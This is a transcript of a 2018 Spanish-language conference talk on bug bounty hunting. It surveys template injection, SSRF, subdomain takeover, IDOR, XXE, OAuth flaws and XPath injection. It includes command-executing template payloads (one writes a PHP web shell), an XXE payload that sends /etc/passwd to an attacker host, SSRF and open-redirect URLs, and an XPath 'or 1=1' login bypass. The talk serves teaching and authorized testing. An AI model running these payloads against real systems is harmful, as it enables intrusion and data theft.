Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Cómo cazar dólares por vulnerabilidades de form...

Sponsored · Your Podcast. Everywhere. Effortlessly. Share. Educate. Inspire. Entertain. You do you. We'll handle the rest.

Cómo cazar dólares por vulnerabilidades de forma honesta

Presentación de Alexis Torres en el Cybersecurity Mayo - 2018

Avatar for Open-Sec

Open-Sec

May 10, 2018
Tweet

More Decks by Open-Sec

Other Decks in Education

Transcript

  1. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting {{_self.env.getFilter("whoami")}} {{_self.env.getFilter("whoami")}} Por: R. Alexis Torres Pardo Offensive Security Certified Professional OSCP, C)PTE, C)PTC, C)SWAE Official Instructor: Mile2 Pentester Senior in Open Sec (Crowsourced Pentester) @lu4m75
  2. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Web Apps Bug Hunting Web Apps Bug Hunting • Crowsourced pentesting • Carateristicas. • Let’s play!
  3. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Bug Bounty vs Crowsourced Bug Bounty vs Crowsourced pentesting pentesting vs traditional pentesting vs traditional pentesting • El nuevo enfoque moderno de desarrollo de software como desarrollo ágil y Devops, al tener una constante evolución y lanzamientos frecuentes(sprint), crean una problemática que podria ser crítica a los equipos de seguridad internos, ya que se les hace dificil mantener un ritmo adecuado a evaluar sus aplicaciones. • Bajo esta necesidad y sumado a la existencia de programa de recompensas (bug bounty) surge el termino crowsourced pentesting.
  4. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting ¿Que es Bug bounty? ¿Que es Bug bounty? • Es un programa de recompensa por encontrar vulnerabilidades o errores. • El primero en reportar un bug tendra acceso a un mejor posicionamiento en un ranking y recibe un monto.
  5. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Bug bounty programs Bug bounty programs • Paytm • Hackerone • Bugcrow • Crowdcurity • Synack • Compañias: – Cisco, Wordpress, AT&T, Magento, Uber, Paypal, Avas, github, Twitter, Tor project, Apache, Vimeo, OpenSSL, Microsoft,google,facebook,apple, dropbox, yahoo, snapchat, Intel
  6. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Crowdsourced pentesting Crowdsourced pentesting • Es una prueba de pentesting, realizado por una gran cantidad de especialistas “calificados” en vez que consultores dedicados. • Esto permite unir a los mejores equipos con enfoque tradicional en pentesting y a los mejores talentos de los programas de recompensas (bug bounty). • Se sigue las metodologías tradicionales de evaluación, con expertos, en tiempos limites y una respuesta inmediata antes un hallazgo (bug).
  7. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Mitos sobre bug bounty Mitos sobre bug bounty • Todos los bug bounty son solo públicos – Falso, muchos programas privados (crowsourced pentesting). • ¿Realmente es seguro, muchos pentesters atrás de un objetivo? – Se sigue un conjunto de reglas y conducta, asi como existen penas, sino se confia en esto queda el bug bounty privado. • Tu no puedes confiar en los “hackers” • No se tiene la misma calidad que un pentester
  8. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Taxonomía de bug crowd Taxonomía de bug crowd • https://bugcrowd.com/vulnerability-rating- taxonomy
  9. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Los clasicos! Los clasicos!
  10. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Vamos algo actual! Vamos algo actual!
  11. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection • Los “template” permiten el rápido desarrollo de páginas web. • La vulnerabilidad se presenta como mala configuración en la entrada de datos. • Posiblemente confundido con XSS, pero esta mala configuración permite interactuar con el sistema.
  12. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection • Las aplicaciones suelen usar template como twig y freemaker para permitir contenido dinámico en las paginas web o correos electrónicos. • Consideremos una campaña de correos masivos, donde al saludar a los destinarios sea por su nombre: – $output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) ); • Pero que pasaria si a estos usuarios se permite customizar su correo:
  13. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection • Al permitir al usuario customizar su correo a través del parámetro “custom_emails” en modo GET, el primer síntoma de esta vulnerabilidad sera el XSS. • Modifiquemos la entrada de esos datos con el siguiente parámetro: – custom_email={{9*9}} – Resultado = 81 • Ahora validemos con el siguiente parámetro: – custom_email={{_self}}
  14. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection
  15. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Tipos de template injection Tipos de template injection caso angular.js caso angular.js • Server side template injection: • Client side template injection:
  16. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection Indentificando motores en template Indentificando motores en template
  17. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection Payloads Payloads • Freemarker – <#assign ex="freemarker.template.utility.Execute"? new()> ${ ex("id") } • Velocity – $class.inspect("java.lang.Runtime").type.getRunti me().exec("whoami") • Smarty – {Smarty_Internal_Write_File::writeFile($SCRIPT_NA ME,"<?php passthru($_GET['cmd']); ? >",self::clearConfig())} •
  18. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Template injection Template injection Caso real Caso real • Uber angular injection – Bounty paid $3000
  19. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting SSRF SSRF • Server side Request Forgery, es una vulnerabilidad debido a una funcionalidad implementada para importar datos desde una URL. • El atacante modifica esta funcionalidad para escanear dispositivos internos, puertos, realizar ataques a través de la cabecera http a equipos internos como, sqli, heartbleed, xxe, shellchock
  20. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting SSRF SSRF Atacante: http://servidor-afectado/ssrf/ssrf.php? url=<servidor-interno>.html?.png Servidores internos firewall Servidor con app web afectado
  21. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting SSRF SSRF • http://afectado.com/ssrf/ssrf.php? url=http://www.open- sec.com/img/team/Open- Sec_Coin_transparent.png • http://afectado.com/ssrf/ssrf.php? url=http://10.10.0.100:22?.png
  22. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting SSRF SSRF Caso real Caso real • ESEA SSRF y AWS Metadata – Bounty paid $1000
  23. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover • Se produce cuando un subdominio es tomado por el atacante. • Esta vulnerabilidad es producida por una configuración en el CNAME DNS record en la zona de delegación de alias, principalmente en soluciones de tipo “cloud”.
  24. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover Escenario Escenario • Imaginemos que nuestro dominio primario es “nuevomundo.com” en el cual deseas implementar un negocio de e-comerce, sobre un servicio en la nube: nuevomundo- comerce.servicionube.com, esto no provee una buena vista, asi que deseas asignarle una alias: “comerce.nuevomundo.com” • Para realizar esta tarea hay 2 opciones: – Realizar un redirect 302, para pasar de: • comerce.nuevomundo.com nuevomundo- → comerce.servicionube.com
  25. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover Escenario(2) Escenario(2) • Tomando la solución 2, el negocio no funciona y tu decides retirar este tipo de negocio y cancelas la subscripción de la plataforma ecomerce. • En ese momento ocurre la vulnerabilidad, ya que al olvidar borrar el CNAME record en tu zona de archivos, alguien podria registrar lo en la misma plataforma de e-comerce, tomando tu alias original “comerce.nuevomundo.com”
  26. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover Caso práctico Caso práctico • Esta vulnerabilidad no se limita a e-comerce sino también a soluciones en la nube como el caso de Amazon o Microsoft Azure • Creamos una distribución, el cual generará un dominio en random: – “d2erlblaho6777.cloudfront.net” hackeado.open-sec.com. 600 IN CNAME d2erlblaho6777.cloudfront.net
  27. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover Caso real Caso real
  28. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover Caso Real Caso Real • Algunos ataques relacionados: – Bounty paid: $500 • Defacement a website de Trump • Vine.co • Greenhouse.com • Uber.com
  29. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Subdomain takeover Subdomain takeover ¿Como buscar? ¿Como buscar? • Zona de transferencias • Google dorks • Rapid7 DNS dataset • Sublist3r • Thehavertester.py
  30. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting IDORS IDORS Insecure Direct Object Reference Insecure Direct Object Reference • En la mayoría de aplicaciones se puede encontrar parámetros como id, uid, pid, gid, etc, los cuales hacen referencia a distintas funcionalidad propias de la aplicación. • El mal manejo de la autenticación y autorización, puede generar que estos parámetros, permitan ser alterados para obtener, modificar o borrar datos de otros usuarios.
  31. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting IDOR IDOR • Ingresamos como el usuario “alexis” y para observar el perfil de este usuario, lo realizamos a través del siguiente url: – http://vulnerable.com/profile?userID=21 – Se obtiene: • User: alexis / profile: invitados • Ya logeados, modificamos el parámetro “userID” por el valor : 1, obtenemos: – http://vulnerable.com/profile?userID=1 – Se obtiene:
  32. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting IDOR IDOR Caso real Caso real
  33. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting IDOR IDOR Caso real Caso real • Binary.com privilege escalation – Bounty paid: $300 • Moneybird App creation – Bounty paid: $100
  34. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE XML external entity XML external entity • El ataque se realiza con alguna aplicación que parsea una entrada en XML. • Esta vulnerabilidad ocurre cuando una entrada en xml hace referencia hacia una entidad externa y luego procesa esta entrada debido a una falla en configuración (XML entities) • El atacante podría obtener información sensible, DoS, SSRF y otro impacto hasta a nivel de sistema.
  35. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE • DTD – Document type Definition, permite definir una extructura en XML – Permite interpretar estas declaraciones: • !DOCTYPE note, !ELEMENT note, !ELEMENT to , ! ELEMENT from .. • External DTD – Si el DTD es externo, debe contener <!DOCTYPE> donde se hace referencia al archivo: <?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd">
  36. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE Http Resquest normal POST /login HTTP/1.1 Host: vulnerable User-Agent: mozzila Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://vulnerable/login Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 27 username=alexis&password=juaquer POST /login HTTP/1.1 Host: vulnerable Connection: close Content-Type: text /xml Content-Length: 27 <?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://DevilEntityExternal:3000/hack.dtd"> <foo>bar</foo> Http Resquest modificado
  37. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE • El servidor remoto tendrá el siguiente archivo malicioso que sera parseado. <!ENTITY % p1 SYSTEM "file:///etc/passwd"> <!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://DevilEntityExternal:9000/BLAH?%p1;'>"> %p2;
  38. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE atacante pwnd evil.dtd Cabecera http modificada con entrada de datos: !DOCTYPE foo SYSTEM http://192.168.0.109:8082/evil.dtd Servidor de atacante con el puerto 8082, tiene el archivo dtd Pero en el puerto 8081 trae a la variable “BLAH” la información lograda /etc/passwd http://192.168.0.109:8081/BLAH?</etc/passwd> http://192.168.0.120/log 1 2 3 4 8082
  39. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE • Podemos determinar que intena procesar un archivo xml cambiando el “Content-type” por text/xml, el cual al arroja un valor en cabecera http: 400(bad request)
  40. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting XXE XXE Caso real Caso real • Defacing blog google. – Bounty paid: $10 000
  41. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth • Estandar de delegación de accesos, NO es de autenticación, no es Auth0. • No es un protocolo, es un framework • ¿Por qué el Oauth 2.0? – Es mas fácil de usar e implementar que Oauth 1.0 – Usa token, con corta tiempo de vida y permite encapsularlos • Oauth 2.0, no tiene soporte a firmas, ni cifrado, solo se basa en canales SSL y TLS, es decir no fue implementado con alguna
  42. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth (flujo cliente en browser) (flujo cliente en browser) Perfil de lu4m Via browser www.ofertatop.pe 2 )Logeate y autoriza 3 ) Aqui va el token de acceso 1)Deseo código de authorización 4 ) Dame el perfil de alexis, aquí esta el token de acceso Servidor de autorizacion Datos protegidos
  43. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth (flujo mobile app) (flujo mobile app) Perfil de lu4m www.ofertatop.pe 1 ) Deseo Código De authz 2 ) ofertatop desea un cod autorización 3 )Logeate y autoriza 4 )Aqui esta el código de authz 5 ) Intercambio de cod Auth por token de acceso 6 ) Aqui va el token 7 ) Dame el perfil de alexis, aquí esta el token de acceso Servidor de autorizacion Datos protegidos
  44. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth 2 ) Ofertatop desea un cod authz GET /v2.0/dialog/oauth? response_type=code&client_id=155236551212062& redirect_uri=https%3A%2F%2Fwww.ofertatop.pe %2Fcallback&scope=profile&state=f6da3719e43d8b fe66af8d1753be1b30 HTTP/1.1 4) Aqui esta el código de autorización: HTTP/1.1 302 found Location: https://www.ofertatop.pe/callback?
  45. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth 5 ) Intercambio de cod Auth por token de acceso POST /oauth/token HTTP/1.1 Autorization: Basic czZCaGRSa3F0MzpnWDFmQmF02JW grant_type=authorization_code&code=eyJ3Ijox OTIwLCJoIjoxMDgwLCJhdyI6MTg1NSwiYWgiOjE wNTYsImMiOjI0fQ&state=f6da3719e43d8bfe66a f8d1753be1b30&redirect_uri=https%3A%2F %2Fwww.ofertatop.pe%2Fcallback
  46. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth vulnerabilidad vulnerabilidad GET /v2.0/dialog/oauth? response_type=code&client_id=155236551212062& redirect_uri=https%3A%2F%2Fwww.ofertatop.pe %2Fcallback&scope=profile&state=f6da3719e43d8b fe66af8d1753be1b30 HTTP/1.1 – Datos importantes: • redirect_uri = le indica a facebook, donde volver despues despues que tu permites al sitio acceder a tu información definida en el “scope” • response_type= le dices a facebook que tu deseas obtener un código o un token, si llamas a la opción
  47. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth ¿Como validar si es seguro? ¿Como validar si es seguro? • Después de autorizado al sitio web que obtenga un recurso, todo el proceso posterior se realizara sin interacción de usuario original • Como primer objetivo, podriamos usar este mecanismo para pedir tokens y acceder como si fueramos “el usuario original” logrando obtener los datos definidos en el “scope” • Entonces para probar esta vulnerabilidad podriamos modificar el “response_type” y validar si se retorna un token de acceso y si es asi, podemos ahora modificar el “redirect_uri”
  48. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth Open redirect Open redirect • https://graph.facebook.com/oauth/authorize? client_id=213814055461514&redirect_uri=https %3A%2F%2Fgist.github.com%2Fauth %2Ffacebook%2Fcallback&response_type=code • https://graph.facebook.com/oauth/authorize? client_id=213814055461514&redirect_uri=http: //www.ataque.com/&response_type=code • También encontrado en github y microsoft.
  49. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth CSRF CSRF • El escenario se presenta, ante la no existencia o mala configuración de un token para prevenir un CSRF • Cuando un usuario previamente logeado, válida su token de sesión en su cookie. • El CSRF va a permitir eludir la interacción del usuarios con el proceso Oauth. • En un flujo normal de Oauth, después de que el usuario gana acceso, el server le retonar un código de acceso, el cual puede tener un gran rango de permisos.
  50. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth CSRF - Caso real CSRF - Caso real • Estas condicionantes se presentaron para el caso de microsoft con sus servicios en linea como “Microsoft Account”:
  51. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth CSRF – PoC CSRF – PoC https://www.synack.com/2015/10/08/how-i-hacked-hotmail/
  52. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth • Match point – http://homakov.blogspot.pe/2014/02/how-i- hacked-github-again.html • Bearer Tokens – http://blog.intothesymmetry.com/2015/10/on- oauth-token-hijacks-for-fun-and.html • CSRF Authorization Server – http://homakov.blogspot.pe/2014/12/blatant-csrf- in-doorkeeper-most-popular.html • CSRF Oauth Client
  53. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Oauth Oauth Caso real Caso real • Swiping Facebook Official Access Tokens – Bounty paid: $100 • https://facebook.com/v2.5/dialog/oauth? response_type=token&display=popup&client_id=APP_ID &redirect_uri=REDIRECT_URI • http://REDIRECT_URI/access_token_appended_here • Stealing Slack OAuth Tokens – Bounty paid: $100 • https://api.slack.com/applications/new • www.google.com.attacker.com • Microsoft CSRF OAuth
  54. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Xpath injection Xpath injection • Xpath: – Es un lenguaje que permite construir expresiones que recorren y procesan un documento XML. La idea es parecida a las expresiones regulares para seleccionar partes de un texto sin atributos (plain text). XPath permite buscar y seleccionar teniendo en cuenta la estructura jerárquica del XML • wikipedia
  55. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Xpath injection Xpath injection • Similar a sqli, esta injección ocurre cuando el sitio web construye su información bajo consultas XPATH, donde un usuario malintecionado envia una consulta con la cual podria a acceder a datos no autorizados y hasta elevar privilegios en la aplicación web
  56. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Xpath injection Xpath injection • Tenemos la siguiente estructura: <?xml version="1.0" encoding="utf-8"?> <Employees> <Employee ID="1"> <FirstName>Arnold</FirstName> <LastName>Baker</LastName> <UserName>ABaker</UserName> <Password>SoSecret</Password> <Type>Admin</Type> </Employee> <Employee ID="2"> <FirstName>Peter</FirstName> <LastName>Pan</LastName> <UserName>PPan</UserName> <Password>NotTelling</Password> <Type>User</Type> </Employee> </Employees>
  57. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Xpath injection Xpath injection • VB: Dim FindUserXPath as String FindUserXPath = "//Employee[UserName/text()=' " & Request("Username") & " ' And Password/text()=' " & Request("Password") & " ']" • XPATHi FindUserXPath becomes //Employee[UserName/text()=' blah' or 1=1 or 'a'='a ' And Password/text()='blah']
  58. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Xpath injection Xpath injection
  59. @lu4m75 OSCP, C)PTC ,C)PTE, C)SWAE,C|EH,E|CSA,CCNA sec, CCNA, MTA sec, MTA

    net. Web App hunting Otras vulnerabilidades Otras vulnerabilidades • HTTP pollution • CRLF injection (%0D%0A = \r\n) – HTTP Request Smuggling – HTTP spliting • OPEN redirection, no es un bug, es una caracteristica no habitual • Lógica en la aplicación • Si no es funcional una SQLi, command injection sigue sus pasos